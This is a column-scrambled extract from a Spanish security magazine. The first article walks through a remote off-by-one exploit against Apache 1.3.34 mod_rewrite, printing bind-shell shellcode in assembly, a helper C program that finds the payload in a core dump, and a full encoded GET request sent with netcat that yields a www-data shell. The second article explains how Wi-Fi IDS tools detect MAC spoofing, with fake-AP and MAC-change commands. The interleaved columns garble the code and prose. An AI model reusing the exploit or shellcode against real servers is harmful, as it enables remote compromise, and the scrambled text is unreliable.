buscada. Para automatizar esta sabemos que a 0xb7e015e0 le sigue ensamblador del nuevo
tarea se empleo un pequeo tru- 0xb7e01480, por tanto, ya hemos es- shellcode: socketasm.s
co: en primer lugar vemos que tablecido una relacin, el contenido
doble palabra est en la direccin que est en la posicin 0x8bc0 se .section .text
.globl _start
0x0808bbc0 y direcciones cerca- corresponde con la direccin virtual
_start:
nas: 0x0808bbc0. Ahora con un sencillo mov %esp,%esi
programa podremos saber en que xorl %eax,%eax
# gdb /usr/sbin/apache core direccin est la cadena buscada, xorl %ebx,%ebx
(...) buscaremos el ltimo NOP (0x90) movl %esi,%ecx
movb $0x2,%al
(gdb) x/4 0x0808bbc0 y los dos primeros Opcodes del
movl %eax,(%esi)
0x808bbc0 <stdout>: 0xb7e shellcode: 0x89 y 0xe6 de nuestra movb $0x1,%al
015e0 0xb7e01480 0x peticin. movl %eax,0x4(%esi)
b7e01740 0x00000000 Ahora lo compilamos y ejecuta- movb $0x6,%al
mos: movl %eax,0x8(%esi)
movb $0x66,%al
A continuacin, busquemos la do-
movb $0x1,%bl
ble palabra 0xb7e015e0 dentro del $ gcc -o findUri findUri.c
int $0x80
fichero core: $ ./findUri movl %eax,(%esi)
addr: 0x834aebd movb $0x2,%al
# hexdump -C core | grep 'e0 15 addr: 0x834b4ec movw %ax,0xc(%esi)
movb $0x77,%al # 0x77
e0 b7' addr: 0x834b6b0
= puerto 30464
00008bc0 e0 15 e0 b7 80 14 e0 addr: 0x834b848
movw %ax,0xe(%esi)
b7 40 17 e0 b7 00 00 00 00 | addr: 0x834c4ec leal 0xc(%esi),%eax
...@.....| addr: 0x834c6e0 movl %eax,0x4(%esi)
00016510 00 00 00 00 e0 15 e0 addr: 0x834c8a0 xorl %eax,%eax
movl %eax,0x10(%esi)
b7 0f 00 00 00 00 00 00 00 | addr: 0x834d164
movb $0x10,%al
.............| addr: 0x834d357
movl %eax,0x8(%esi)
00b9b060 04 00 00 00 a0 a3 5f addr: 0x834d4de movb $0x66,%al
b7 e0 15 e0 b7 c0 2c 49 b7 | addr: 0x8d70363 movb $0x2,%bl
.... _.,I| int $0x80
movb $0x1,%al
00be2060 04 00 00 00 a0 63 3e Ahora con el gdb confirmaremos
movl %eax,0x4(%esi)
b7 e0 15 e0 b7 c0 8c 51 b7 | que realmente en la direccin movb $0x66,%al
.... c>..Q| 0x834aebd (la primera de la lista) movb $0x4,%bl
00ca8060 04 00 00 00 a0 63 3e est el shellcode, e imprimiremos int $0x80
b7 e0 15 e0 b7 c0 ec 9f b7 | tambin el contenido desde 100 xorl %eax,%eax
movl %eax,0x4(%esi)
.... c>..| bytes ms arriba:
movl %eax,0x8(%esi)
movb $0x66,%al
Listado 9b. Parte del fichero mod_rewrite.c perteneciente a apache movb $0x5,%bl
1.3.34. int $0x80
movb %al,%bl
2748 (c >= 1) ? "?" : NULL, movb $0x3f,%al
2749 (c >= 1) ? ap_escape_uri(p, token[1]) : NULL, xorl %ecx,%ecx
2750 (c >= 2) ? "?" : NULL, int $0x80
2751 (c >= 2) ? ap_escape_uri(p, token[2]) : NULL, movb $0x3f,%al
2752 (c >= 3) ? "?" : NULL, movb $0x1,%cl
2753 (c >= 3) ? ap_escape_uri(p, token[3]) : NULL, int $0x80
2754 (c >= 4) ? "?" : NULL, movb $0x3f,%al
2755 (c >= 4) ? ap_escape_uri(p, token[4]) : NULL, movb $0x2,%cl
2756 NULL); int $0x80
2757 } movl $0x6e696223,%eax
2758 } # Cadena #bin
(...) movl %eax,(%esi)

www.hakin9.org 33
Ataque

(gdb) x/50 0x834aebd-100


0x834ae59: 0x90909090
Listado 12. Volcado de la informacin de las secciones ELF del fichero
0x90909090
/usr/sbin/apache
0x90909090 # readelf -S /usr/sbin/apache
0x90909090 Hay 26 encabezados de seccin, comenzando en el desplazamiento: 0x42c78:
0x834ae69: 0x90909090 Encabezados de Seccin:
0x90909090 [Nr] Nombre Tipo Direc Desp Tam ES Opt En
Inf Al
0x90909090
[ 0] NULL 00000000 000000 000000 00 0 0
0x90909090 0
0x834ae79: 0x90909090 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0
0x90909090 1
0x90909090 [ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0
4
0x90909090
[ 3] .hash HASH 08048168 000168 001274 04 A 4 0
0x834ae89: 0x90909090 4
0x90909090 [ 4] .dynsym DYNSYM 080493dc 0013dc 002920 10 A 5 1
0x90909090 4
0x90909090 [ 5] .dynstr STRTAB 0804bcfc 003cfc 002618 00 A 0 0
1
0x834ae99: 0x90909090
[ 6] .gnu.version VERSYM 0804e314 006314 000524 02 A 4 0
0x90909090 2
0x90909090 [ 7] .gnu.version_r VERNEED 0804e838 006838 000100 00 A 5 5
0x90909090 4
0x834aea9: 0x90909090 [ 8] .rel.dyn REL 0804e938 006938 000030 08 A 4 0
4
0x90909090
[ 9] .rel.plt REL 0804e968 006968 000450 08 A 4
0x90909090 11 4
0x90909090 [10] .init PROGBITS 0804edb8 006db8 000017 00 AX 0 0
0x834aeb9: 0xe6899090 4
0xdb31c031 [11] .plt PROGBITS 0804edd0 006dd0 0008b0 04 AX 0 0
4
0x02b0f189
[12] .text PROGBITS 0804f680 007680 02a404 00 AX 0 0
0x01b00689 16
[13] .fini PROGBITS 08079a84 031a84 00001a 00 AX 0 0
4
Listado 11b. Cdigo [14] .rodata PROGBITS 08079aa0 031aa0 00a514 00 A 0 0
ensamblador del nuevo 32
[15] .eh_frame_hdr PROGBITS 08083fb4 03bfb4 000014 00 A 0 0
shellcode: socketasm.s
4
movl $0x23687323,%eax [16] .eh_frame PROGBITS 08083fc8 03bfc8 00003c 00 A 0 0
# Cadena #sh# 4
movl %eax,0x4(%esi) [17] .ctors PROGBITS 08085004 03c004 000008 00 WA 0 0
xorl %eax,%eax 4
movb %al,0x7(%esi) [18] .dtors PROGBITS 0808500c 03c00c 000008 00 WA 0 0
movb $0x30,%al# Movemos 4
0x30 al %eax [19] .jcr PROGBITS 08085014 03c014 000004 00 WA 0 0
subb $0x01,%al# Le 4
restamos uno: 0x2f [20] .dynamic DYNAMIC 08085018 03c018 0000f8 08 WA 5 0
movb %al,0x4(%esi) 4
movb %al,(%esi) [21] .got PROGBITS 08085110 03c110 000004 04 WA 0 0
movl %esi,0x8(%esi)# En (%esi) 4
ya tenemos /bin/sh\0 [22] .got.plt PROGBITS 08085114 03c114 000234 04 WA 0 0
xorl %eax,%eax 4
movl %eax,0xc(%esi) [23] .data PROGBITS 08085360 03c360 00684c 00 WA 0 0
movb $0x0b,%al 32
movl %esi,%ebx [24] .bss NOBITS 0808bbc0 042bac 000c1c 00 WA 0 0
leal 0x8(%esi),%ecx 32
leal 0xc(%esi),%edx [25] .shstrtab STRTAB 00000000 042bac 0000cc 00 0 0
int $0x80# Ejecuta execve 1
(/bin/sh, &/bin/sh, Clave para Opciones:
0x00000000); W (escribir), A (asignar), X (ejecutar), M (mezclar), S (cadenas)
xorl %eax,%eax I (info), L (orden enlazado), G (grupo), x (desconocido)
movb $0x01,%al O (se requiere procesamiento extra del SO) o (especfico del SO)
xorl %ebx,%ebx p (especfico del procesador)
int $0x80# Ejecuta exit(0);

34 www.hakin9.org
tcnica off-by-one

0x834aec9: 0xb0044689 46%04%31%c0%88%46%07%b0%


0x08468906 30%2c%01%88%46%04%88%06% Listado 13. Cdigo del fichero
0x01b366b0 89%76%08%31%c0%89%46%0c% findUri.c.
0x068980cd b0%0b%89%f3%8d%4e%08%8d%
#include <stdio.h>
0x834aed9: 0x896602b0 56%0c%cd%80%31%c0%b0%01% int main() {
0x77b00c46 31%db%cd%80%3FC%3FC%3FCC FILE *f;
0x0e468966 CCCCCCCCCCCCCCCCCCCCCCC char c, u, z;
int addr= 0x08
0x890c468d CCCCCCCCCCCCCCCCCCCCCCC
08bbc0;
0x834aee9: 0xc0310446 CCCCCC%77%ae%34%08CCCCCC
f= fopen("core", "r");
0xb0104689 CCCCCCCCCCCCCCCCCCCCC% fseek(f, 0x8bc0,
0x08468910 3FC%3F HTTP/1.1\rnHost: SEEK_SET);
0x02b366b0 192.168.2.10\rn\rn" | nc fread(&z, 1, 1, f);
addr++;
0x834aef9: 0x01b080cd 192.168.2.10 80
fread(&u, 1, 1, f);
0xb0044689
addr++;
0xcd04b366 Y desde otra consola: while (!feof(f)){
0x89c03180 fread(&c,
0x834af09: 0x46890446 $ nc 192.168.2.10 30464 1, 1, f);
addr++;
0xb366b008 id
if (z == '\
0x8880cd05 uid=33(www-data) gid=33(www-data)
x90' &&
0x313fb0c3 groups=33(www- u == '\x89'
0x834af19: 0xb080cdc9 data) && c
0xcd01b13f == '\xe6') {
printf(
Nos conviene pues actualizar apa-
"addr:
Elijamos una direccin que este che a la ltima versin para que 0x%x\n",
a mitad cadena de NOP's, por ejem- nuestros servidores no corran ries- addr);
plo, 0x0834ae77, ahora ya podemos go, o simplemente corregir el error }
completar el exploit y probarlo contra y recompilar Apache, para ello solo z= u; u= c;
}
el Apache: hace falta modificar la lnea 2738
return 0;
y sustituirla por: }
$ echo -ne "GET /kung/ldap://localhost/
`perl -e 'print "%90"x128'`%89%e6% while (*cp && c < 4) {
31%c0%31%db%89%f1%b0%02% damiento por un byte en la versin
89%06%b0%01%89%46%04%b0% Conclusiones 2.5.1 e inferiores del rsync.
06%89%46%08%b0%66%b3%01% Este tipo de vulnerabilidades ade- Incluso un mal uso de la longitud
cd%80%89%06%b0%02%66%89% ms de ser provocadas por un del buffer reservado en las funciones
46%0c%b0%77%66%89%46%0e% mal uso de la condicin de parada memset/memcpy o strncpy podra
8d%46%0c%89%46%04%31%c0% en bucles, como se ha estudiado provocar desbordamientos por un
89%46%10%b0%10%89%46%08% en este artculo, tiene otros escena- byte.
b0%66%b3%02%cd%80%b0%01% rios. Otro sera que la funcin strn- Para evitar este tipo de vulne-
89%46%04%b0%66%b3%04%cd% cat cuando se le pasara la longitud rabilidades conviene ser precavido
80%31%c0%89%46%04%89%46% mxima, no se hubieran tomado las y entender perfectamente donde
08%b0%66%b3%05%cd%80%88% debidas precauciones y se escribie- acaba el buffer y hasta que posicin
c3%b0%3f%31%c9%cd%80%b0% ra el '\0' que aade strncat fuera del podemos escribir, sobre todo cuan-
3f%b1%01%cd%80%b0%3f%b1% buffer, situacin anloga a ejecutar do se le pasa el tamao mximo
02%cd%80%b8%23%62%69%6e% buffer[sizeof(buffer)]= '\0'. Esta permitido.
89%06%b8%23%73%68%23%89% ltima situacin provoca un desbor- Tambin hemos comprobado
que esta tcnica debido a su pre-
cisin es poco probable, aunque
Referencias es posible utilizarla remotamente,
siendo el escenario ms habitual
klog. The Frame Pointer Overwrite. Phrack magazine Vol 9 Issue 55. 1999. http:
//www.phrack.org
los ataques locales. An tratndo-
IA-32 Intel Architecture Software Developer's Manual vol 1,2,3. Intel Corpora- se de ataques locales el xito del
tion, 2002. http://www.intel.com ataque reside en el layout de la pila,
J. Koziol y otros. The Shellcoder's Handbook: Discovering and Exploiting Security es una tcnica muy concreta pero
Holes. Chapter 3. Wiley Publishing Inc. 2004. conviene evitarla para no correr
Piotr Sobolewski. Desbordamiento de la pila en Linux x86. Hakin9 n 4/2004. riesgos innecesarios. l

www.hakin9.org 35
Inyeccin de trfico y
tcnicas de deteccin de
Ataque
MAC spoofing en Wi-Fi
Asier Martnez

Grado de dificultad

La falsificacin de tramas y la impersonacin de estaciones en


redes Wi-Fi son la base para la realizacin de la mayora de los
ataques existentes, no obstante, los sistemas de deteccin de
intrusiones usan tcnicas fiables que permiten detectar esas
tramas falsificadas.

C
uando se trata de redes Wi-Fi, encrip- el medio y un atacante siempre se puede optar
tar el trfico inalmbrico parece la me- por el camino ms directo realizando ataques
jor solucin para proteger nuestra red, en la capa fsica.
pero existen mltiples razones por las que un Independientemente de si encriptamos el
administrador podra optar por no hacerlo, las trfico o no, es evidente que siguen existien-
razones dependen mucho del caso en particu-
lar pero en general todos podran tener alguno
de los siguientes inconvenientes:
En este artculo aprenders...
cmo detectan los sistemas de deteccin de
costes en tiempo, mantenimiento y hard- intrusiones Wi-Fi las tramas MAC falsificadas,
ware, las ventajas y desventajas de las tcnicas de
sencillez de conexin de los usuarios, libres deteccin y cmo un atacante podra evadir
de instalacin de programas externos y cla- dichas tcnicas,
ves de ningn tipo, el funcionamiento bsico de una herramienta
rendimiento de la red disminuido debido a la de inyeccin de trfico 802.11 y algunas ideas
sobrecarga, de cmo un atacante podra utilizarlo.
hardware viejo que no soporta los nuevos
mtodos de encriptacin. Lo que deberas saber...
conocimiento medio sobre redes Wi-Fi y confi-
La encriptacin tampoco garantiza la total
guracin de dispositivos Wi-Fi bajo GNU/Linux,
seguridad de la red, WEP ha sido vapuleado conocimientos bsicos del lenguaje de progra-
y las alternativas aunque suponen una mejo- macin C,
ra considerable estn lejos de ser perfectas. nociones bsicas sobre redes TCP/IP y el mo-
Prcticamente todas las soluciones tienen sus delo de referencia OSI,
puntos dbiles. Por ejemplo, son bien cono- conocimientos bsicos de tecnologa web
cidos los ataques de denegacin de servicio HTML/Javascript.
para EAPOL, diversos ataques de hombre en

36 www.hakin9.org
MAC spoofing en redes Wi-Fi

do carencias en la seguridad y que meracin de tramas para garantizar cial para determinar si la diferencia
es necesario algn elemento que el orden y evitar problemas con las de nmero de secuencia es sospe-
monitorice nuestra red para poder tramas duplicadas, y la numeracin chosa.
saber qu esta ocurriendo real- del nmero de fragmento cuando Vamos a explicar cmo est im-
mente, en respuesta a estas ca- existe fragmentacin. El campo plementada esta tcnica en el IDS
rencias parece que ya ha emergido control de secuencia (vanse Figu- para redes 802.11, Snort-Wireless,
una nueva herramienta para las ra 1. y 2.) se compone de 16 bits, 4 ms adelante veremos en funciona-
redes Wi-Fi que se encontraba am- bits se utilizan para el nmero de miento este IDS con un ataque real.
pliamente implantada en las redes fragmento, y los 12 bits restantes En el Listado 1. podemos ver cmo
cableadas, los sistemas de detec- para la numeracin de las tramas. la tcnica implementada en Snort-
cin de intrusiones, estos sistemas Nosotros nos centraremos en el Wireless es bastante sencilla. La
nos permiten detectar la mayora subcampo del nmero de secuen- lnea que contiene gap = (4095 +
de los ataques y en muchos casos, cia que funciona como un nume- p->wifih->seqnum - (*seq _ number _
como el de la deteccin de redes rador de las tramas transmitidas. ptr)) %4096; resume todo el mis-
ilcitas responder de manera activa Empieza en el nmero 0 y funciona terio, p->wifih->seqnum contiene el
evitando que nuestros usuarios se como un contador en mdulo 4096, nmero de secuencia del paquete
conecten a esas redes. En este incrementndose en uno para que actualmente ha recibido el sis-
artculo nos centraremos en las cada paquete de nivel superior tema, y (*seq _ number _ ptr) el n-
tcnicas que utilizan o que podran transmitido. Si se fragmentan los mero de secuencia anterior que se
utilizar estos sistemas para la de- paquetes de nivel superior, todos haba guardado para esa direccin
teccin de tramas MAC falsificadas los fragmentos tendrn el mismo MAC, al ser restados se obtiene el
y la impersonacin de estaciones nmero de secuencia y el nmero salto del nmero de secuencia en-
legtimas. de fragmento ir incrementndose. tre las ltimas dos tramas emitidas
Cuando se retransmiten las tramas, por esa estacin. En este caso esa
Deteccin usando no cambia el nmero de secuencia distancia se usa de forma circular,
campos caractersticos y se activa el bit de retransmisin. esto es, si la trama previamente
de las tramas En la Figura 3. se puede observar guardada tena el nmero de se-
Este tipo de deteccin se centra el funcionamiento del nmero de cuencia 100 y la siguiente trama
en observar el contenido de las secuencia, las tramas ACK no tie- un nmero de secuencia inferior,
tramas emitidas en la red inalm- nen nmero de secuencia. por ejemplo 80, realizamos la resta
brica, la mayora de estas tcnicas Al igual que todas las tcnicas y obtendramos el nmero -20, sin
se basan en encontrar inconsis- de deteccin basadas en campos embargo sumndole 4095 y ha-
tencias en el trfico de una esta- caractersticos, esta tcnica se ciendo la divisin por mdulo 4096
cin, esto es posible mediante la basa en una anomala generada obtendramos que la distancia en-
creacin de perfiles o patrones por una trama falsificada, en este tre las dos tramas es 4075. Se pue-
de comportamiento dinmicos caso la anomala se genera cuando den observar muchas carencias en
asociados a las direcciones fsicas existe una diferencia significativa esta implementacin, por ejemplo
de las estaciones. A continuacin en el nmero de secuencia entre las tramas pueden no entregarse
detallaremos las diversas tcnicas dos tramas consecutivas de una en el orden especificado debido
existentes. misma estacin. Este es el concep- a la congestin de la red, con lo que
to sobre la que se basa este tipo los nmeros de secuencia pueden
Anlisis del nmero de de deteccin, para detectar la ano- no ser consecutivos, tambin ocu-
secuencia mala existen multitud de mtodos, rre que con esta implementacin
El campo control de secuencia desde un simple lmite mximo de dos tramas con el mismo nmero
(ing. sequence control) se utiliza diferencia en el nmero de secuen- de secuencia se consideraran
para dos funciones importantes de cia, hasta la utilizacin de tcnicas como anmalas, sin embargo en el
la capa de enlace de datos, la nu- estadsticas o de inteligencia artifi- estndar se define que las retrans-

Octets: 2 2 6 6 6 2 6 0 - 2312 4

Frame Duration/ Sequence Frame


Address 1 Address 2 Address 3 Address 4 FCS
Control ID Control Body

MAC Header

Figura 1. Cabecera de una trama 802.11

www.hakin9.org 37
Ataque

misiones tengan el mismo nmero


de secuencia, para obtener una co-
B0 B3 B4 B12
rrecta visin se debera comprobar
el bit de retransmisin.
Fragment Number Sequence Number Una de las principales desven-
tajas de esta tcnica es la propia
naturaleza inestable del medio
inalmbrico, existen diversas cir-
Bits 4 4 cunstancias bajo las cuales pueden
suceder saltos en el nmero de se-
cuencia sin que sea resultado de
Figura 2. Campo control de secuencia
un ataque. El hardware empleado
tambin puede influir en el compor-
tamiento del nmero de secuencia,
el contador puede resetearse en
circunstancias que varan para
cada firmware especfico de tarjeta
y fabricante. Por ejemplo cuando
un usuario reinserta su tarjeta
PCMCIA o cuando ocurre un mal
funcionamiento de la misma. Por
no hablar de la existencia de mu-
chas tarjetas que realmente no
cumplen con muchos detalles del
estndar 802.11 pese a que estn
certificadas como Wi-Fi.
Por otro lado, los sensores ina-
lmbricos no son capaces de escu-
char todo el trfico que circula por el
aire, perdiendo algunas tramas y por
lo tanto perdiendo la cuenta real de
los nmeros de secuencia de cada
estacin, por ejemplo si se pierden
diez tramas de una estacin, la si-
Figura 3. Comportamiento del campo nmero de secuencia guiente trama aunque sea legtima,
tendr un salto de diez en el nmero
de secuencia respecto al ltimo pa-
quete escuchado y podra conside-
rarse anmala.
Uno de los primeros trabajos
respecto a esta tcnica est escrito
por Joshua Wright en el 2003, sin
embargo, en aquel entonces los
drivers de las tarjetas 802.11 no
eran capaces de sobreescribir el
campo control de secuencia, que-
dando, como otros muchos cam-
pos de las tramas en manos del
firmware de las tarjetas por lo que
resultaba una tcnica muy efectiva,
ya que resultara muy difcil falsifi-
car este campo. Actualmente esto
ya no es as,siendo posible modifi-
car el campo nmero de secuencia,
por ejemplo con los drivers Madwifi
y complicando un poco ms las co-
Figura 4. Esquema de red del ataque, comportamiento del campo Timestamp sas a los detectores.

38 www.hakin9.org
Ataque

Deteccin mediante el campo


Listado 1. Parte de cdigo del preprocesador de Snort-Wireless BSS Timestamp y Tagged
spp _mac_spoof.c Parameters
/* gap represent the difference between packet's sequence number and
Otros campos interesantes a la hora
corresponding sequence number recorded inside WST de detectar inconsistencias en el
minus one. Furthermore, it should be considered as the trfico de una estacin inalmbrica
total missing frames refered to 802.11 protocol. This son el campo de grabacin de fecha
means that two consecutive frames with same sequence
y hora (ing. Timestamp) y los ele-
number issued from same MAC addr will generate a gab
equal to 4095. */
mentos de informacin de longitud
gap = (4095 + p->wifih->seqnum - (*seq_number_ptr)) %4096; variable (ing. Tagged Parameters).
/* Check whether or not gap should be considered as normal refered to El campo Timestamp aparece
preprocessor's argument tolerate_gap */ en dos tramas de administracin de
if( gap <= MACspoof_data.tolerate_gap){
802.11, en las peticiones de prueba
/* packet sequence number fill up 802.11 protocol according to preprocessor
arguments */
(ing. Probe Request) y en las tramas
*seq_number_ptr = p->wifih->seqnum; Baliza (ing. Beacon). Este campo
return; } permite la sincronizacin entre las
/* From now, Packet is considered as abnormal */ estaciones en un BSS (ing. Basic
Service Set). El cronmetro principal
de un BSS transmite peridicamente
Listado 2. Parte de cdigo del programa Kismet, fichero finitestate.cc la cantidad de microsegundos en la
que ha estado activo mediante este
int BssTimestampAutomata::ProcessPacket(const packet_info *in_info) { campo.
_bs_fsa_element *elem;
La anomala se genera cuando
char atext[1024];
// Don't track BSS timestamp for non-beacon frames or for adhoc networks
se detectan inconsistencias en el
if (in_info->type != packet_management || campo Timestamp, por ejemplo
in_info->subtype != packet_sub_beacon || cuando la diferencia entre el reloj de
in_info->distrib == adhoc_distribution) dos tramas Beacon no corresponde
return 0;
al valor esperado.
macmap<BssTimestampAutomata::_bs_fsa_element *>::iterator iter =
bss_map.find(in_info->bssid_mac);
Los elementos de informacin
if (iter == bss_map.end()) { son componentes de las tramas de
elem = new _bs_fsa_element; Administracin de longitud variable.
elem->bss_timestamp = in_info->timestamp; Un elemento de informacin genri-
bss_map.insert(in_info->bssid_mac, elem);
co tiene un nmero ID, una longitud
return 0;
} else {
y un componente de longitud varia-
elem = *(iter->second); ble. Estos componentes proporcio-
} nan informacin sobre el emisor,
if (in_info->timestamp < elem->bss_timestamp) { algunos ejemplos de elementos de
if (elem->counter > 0) {
informacin son el SSID o nombre
// Generate an alert, we're getting a bunch of invalid timestamps
snprintf(atext, STATUS_MAX, "Out-of-sequence BSS timestamp on %s "
de red, el elemento de velocidades
"- got %llx, expected %llx - this could indicate AP spoofing", admitidas que permite especificar
in_info->bssid_mac.Mac2String().c_str(), in_info->timestamp, a que velocidades es capaz de
elem->bss_timestamp); funcionar la tarjeta emisora o el
atracker->RaiseAlert(alertid, in_info->bssid_mac, 0, 0, 0,
conjunto de parmetros DS en el
in_info-
>channel, atext);
que se especifica el nmero de
// Reset so we don't keep thrashing here canal que utiliza la red. Por lo tan-
elem->counter = 0; to, si se detecta que los elementos
elem->bss_timestamp = in_info->timestamp; de informacin fluctan de manera
return 1;
significativa entre tramas del punto
} else {
// Increase our invalid stock
de acceso o de una estacin tendra-
elem->counter += 10; mos un indicio de que el trfico de
} esa estacin est siendo falsificado.
} else if (elem->counter > 0) { Por ejemplo si utilizamos el elemen-
elem->counter--;
to de velocidades admitidas dnde
}
elem->bss_timestamp = in_info->timestamp;
se especifican las velocidades que
return 0; admite la estacin inalmbrica,
} creamos un perfil asociado a una di-
reccin fsica con la informacin que

40 www.hakin9.org
MAC spoofing en redes Wi-Fi

proporciona en las tramas que enva, valor incoherente no se trata como una alerta, pero al mismo tiempo
mediante esta informacin podemos sospechoso. Para finalizar de co- sin evitar que una trama falsificada
saber que admite velocidades de 1 mentar el cdigo, destacaremos el pase inadvertida, para esto utiliza
Mbps, 2 Mbps, 5.5 Mbps y 11 Mbps, mtodo utilizado para que un rese- un contador asegurndose que si
velocidades tpicas de una estacin teo del punto de acceso no genere se genera una sola trama errnea
802.11b. Si detectamos una trama
desde esa direccin con velocidades
mayores o diferentes hay mucha
probabilidad de que sea una trama
falsificada ya que estas capacidades
son fijas a menos que se modifiquen
manualmente.

Ejemplo prctico - Kismet IDS


Kismet es posiblemente el esca-
neador de redes Wi-Fi ms popular
y utilizado. Lo que no suele ser tan
conocido, son sus funcionalidades Figura 5. Tramas capturadas durante el ataque, diferencias en el campo
como sistema de deteccin de in- Timestamp y Capabilities
trusiones, aunque son ciertamente
limitadas son bastante explicativas,
Listado 3. Parte de cdigo del programa rfakeap.c
a continuacin mostraremos un
ejemplo de cmo detecta Kismet el while(ctrl_c == 0) {
AP spoofing de una trama Beacon for (i = 0; i < ap_number ; i++) {
clock_gettime(CLOCK_REALTIME, &ts);
(vase el Recuadro Tipos de tramas
/* Try to calculate a coherent interval before sending */
802.11) mediante el campo Times- ts.tv_nsec += ( ((int)(beacon_interval_ms) * 1024000) /
tamp. ((int)(ap_number)) - 1000000);
En el Listado 2., tenemos la por- if(ts.tv_nsec > 1000000000) {
cin de cdigo que se encarga de ts.tv_nsec -= 1000000000;
ts.tv_sec += 1;
la deteccin de los BSS Timestamp
}
anmalos. Lo explicaremos deta- /* Change channel */
lladamente, como se puede leer en /* Basic technique, should use wireless ioctls instead */
el comentario, descarta las tramas if (flags & CHANNELHOPPING) {
que no sean beacon o que sean de snprintf(cmd, sizeof(cmd), "iwconfig %s channel %d",
ifname, fakeap->channel[i]);
redes Ad-Hoc, le faltara aadir las
system(cmd);
tramas respuesta de prueba para }
ser completo. El siguiente paso /* Change tx power */
es buscar el BSSID (ing. Basic /* Basic technique, should use wireless ioctls instead */
Service Set Identifier), esto es, la if (flags & TXHOPPING) {
snprintf(cmd, sizeof(cmd), "iwconfig %s txpower %dmW",
direccin MAC del punto de acce-
ifname, (rand() % 0x60));
so en una lista que guarda pares system(cmd);
de BSSID y timestamps, si no lo }
encuentra crea un nuevo nodo /* Send beacon frame */
y guarda el timestamp, en caso con- send(sock, &(fakeap->beacons[i]), fakeap->size[i], 0);
/* Update timestamp */
trario, recupera el valor anterior. La
fakeap->beacons[i].timestamp += (beacon_interval_ms * 1024);
lnea ms significativa del cdigo /* Increment sequence number */
sera esta if (in _ info->timestamp fakeap->beacons[i].seq_ctrl = ((((fakeap->beacons[i].seq_
< elem->bss _ timestamp) donde ctrl) & 0xFFF0) >> 4) + 1) << 4;
comprueba que el timestamp de /* Do basic statistics */
stat_beacons++;
la trama actual sea mayor que el
stat_bytes += fakeap->size[i];
timestamp de la trama anterior, /* Catch SIGINT */
esto se debe a que el campo signal(SIGINT, sighandler);
a menos que se resetee siempre /* Try to wait with a coherent beacon interval */
ir aumentando de valor. Esta com- /* But will fatally jitter: difficult to achieve */
clock_nanosleep(CLOCK_REALTIME, TIMER_ABSTIME, &ts, NULL);
probacin no es muy elaborada, ya
}
que slo se comprueba que sea }
menor, si es mayor aunque sea un

www.hakin9.org 41
Ataque

cada diez o ms tramas correctas, Ejemplo prctico tos de acceso como se quieran con
Kismet no lanzar ninguna alerta. rfakeap y fakeap direcciones MAC falsas, diferentes
Para que Kismet lance una alerta Fakeap tal y como su nombre indi- SSID, canales y que tambin per-
de AP spoofing, se necesitan gene- ca es una herramienta que genera mite variar de la potencia de emi-
rar al menos dos tramas maliciosas puntos de acceso falsos. Esta he- sin para los diferentes puntos de
con menos de diez paquetes vli- rramienta permite crear tantos pun- acceso, aunque esta funcionalidad
dos de diferencia entre ellas.
Para realizar la demostracin
prctica vamos a utilizar un sencillo
escenario, pondremos una tarjeta
con el chipset Prism en Master
Mode con el mismo ESSID, canal
y direccin MAC de un Punto de
Acceso que sera el punto de acceso
legtimo. De esta forma es como si Figura 6. Alerta de Kismet avisando sobre AP spoofing
tuviramos dos puntos de acceso
idnticos y Kismet detectar la di-
ferencia en el campo Timestamp de
las tramas Beacon. Para poner una
tarjeta en modo maestro, existen di-
versos mtodos, nosotros usaremos
la herramienta iwconfig del paquete
wireless-tools para GNU/Linux. Para Figura 7. Trfico generado por fakeap, el nmero de secuencia no vara
esta prueba utilizamos los drivers entre diferentes puntos de acceso
HostAP. La direccin fsica del punto
de acceso es: 00:0D:88:52:4C:80.

# iwconfig wlan0 mode master \


essid KameHouse channel 6
# ifconfig wlan0 hw ether 00:0D:88:52:
Figura 8. Trfico generado por rfakeap, el nmero de secuencia coherente
4C:80
# ifconfig wlan0 up
Listado 4. Configuracin del preprocesador MacSpoof en snort.conf
En la Figura 4. podemos observar
# MacSpoof
cmo el sensor Kismet recibe tra-
#---------------------------------------------
mas Beacon con timestamps dife- # MacSpoof detects wireless MAC addresses involved in some MAC spoofed
rentes, del atacante y del punto de traffic.
acceso legtimo, Kismet al detectar #
esas diferencias lanza alertas avi- # Arguments:
#
sando del posible AP spoofing. En
# MACSPOOF_MASKED_ADDR => list of MAC addresses excluded from wireless MAC
la primera alerta recibe el times- spoofing
tamp 0x7724343 cuando debera # detection process
recibir el timestamp 0x11c47181, # tolerate_gap [num] => tolerate missing frames between two consecutives
esto ocurre porque previamente frames issued
# from same MAC address
haba recibido una trama con el
# threshold [num] => number of abnormal sequence number gaps during time
timestamp 0x11c47181 menos el delta to
intervalo de beacon 102400 mi- # trigger an alert
crosegundos, esto es 0x11c2e181. # expire_timeout [num] => time period used to keep count of abnormal seq
En la Figura 6. podemos observar number gap
# spoofed_target_limit => maximum number of MAC addresses inserted inside MAC
como lanza las alertas el programa
spoofed
Kismet. En la Figura 5. se puede # [num] addresses mempool
apreciar que tambin el campo Ca- # prune_period [num] => number of seconds to wait for looking after some
pabilities es diferente para el punto decayed
de acceso legtimo y el atacante, # MAC addresses inside mempool
preprocessor macspoof: $MACSPOOF_MASKED_ADDR, tolerate_gap 10, threshold 2,
esto es debido a que la tarjeta ata-
expire_timeout 120, spoofed_addr_limit 100, prune_
cante es 802.11b y el punto de ac- period 30
ceso soportaba 802.11g.

42 www.hakin9.org
MAC spoofing en redes Wi-Fi

rramienta fakeap mediante la gene-


Tipos de tramas 802.11 racin de tramas a medida. Como
Clases de tramas ya mencionamos en los apartados
Las tramas en 802.11 se dividen en distintos tipos y subtipos, una estacin cuando anteriores existen campos en las
se encuentra en su funcionamiento normal, slo es capaz de ver el tipo de trama de tramas que delatan inconsistencias
Datos, a continuacin detallaremos los tipos y algunas de las tramas ms importantes en el trfico, por ejemplo la herrra-
del estndar 802.11: mienta fakeap generar campos
timestamp, as como nmeros de
Tramas de Datos - Las tramas de Datos transportan datos de protocolo de nivel
superior en el cuerpo de la trama.
secuencia incoherentes ya que se
Tramas de Control - Las tramas de control ayudan a la entrega de las tramas de trata de la misma interfaz inalm-
Datos. Administran el acceso al medio inalmbrico y proporcionan funciones de brica.
fiabilidad de la capa MAC, como por por ejemplo las tramas de acuse de recibo El comando ejecutado para ge-
ACK. Algunos ejemplos de este tipo de tramas son las tramas RTS, CTS, ACK nerar las tramas con fakeap es el
y trama de Sondeo de Potencia (PS-Poll). siguiente:
